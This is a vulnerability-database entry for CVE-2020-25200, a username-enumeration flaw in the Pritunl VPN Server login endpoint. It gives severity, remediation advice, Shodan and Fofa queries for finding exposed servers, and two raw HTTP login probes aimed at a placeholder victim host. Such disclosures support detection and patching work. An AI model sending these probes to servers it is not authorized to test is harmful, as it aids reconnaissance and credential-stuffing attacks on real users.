| Title | Pritunl VPN Server 1.29.2145.25 - Username Enumeration |
|---|---|
| Author | pussycat0x |
| Severity | Medium |
| Impact | Attackers can enumerate valid VPN usernames, potentially aiding targeted attacks or credential stuffing efforts. |
| Remediation | Implement uniform error responses for login attempts to prevent username enumeration. |
| CVSS Score | 5.3 |
| EPSS Score | 0.6809 |
| CVE ID | CVE-2020-25200 |
| CWE ID | CWE-203 |
| Shodan Query | http.title:"pritunl" |
| Fofa Query | title="pritunl" |
| Tags | cve cve2020 pritunl vpn enum |
Pritunl 1.29.2145.25 contains a username enumeration issue caused by different error responses in /auth/session login attempts, letting attackers verify valid usernames, exploit requires network access to the login endpoint.
POST /auth/session HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 41
Content-Type: application/json
Origin: /
Referer: //login
Accept-Encoding: gzip
Connection: close
{"username":"pritunl","password":"70376"}
POST /auth/session HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Content-Length: 39
Content-Type: application/json
Origin: /
Referer: //login
Accept-Encoding: gzip
Connection: close
{"username":"admin","password":"65676"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25200.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-25200.pcap
N/AN/A